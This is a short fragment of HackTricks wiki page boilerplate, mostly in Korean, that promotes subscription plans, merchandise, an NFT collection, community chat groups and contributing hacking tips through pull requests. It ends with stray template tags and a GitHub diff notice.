* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more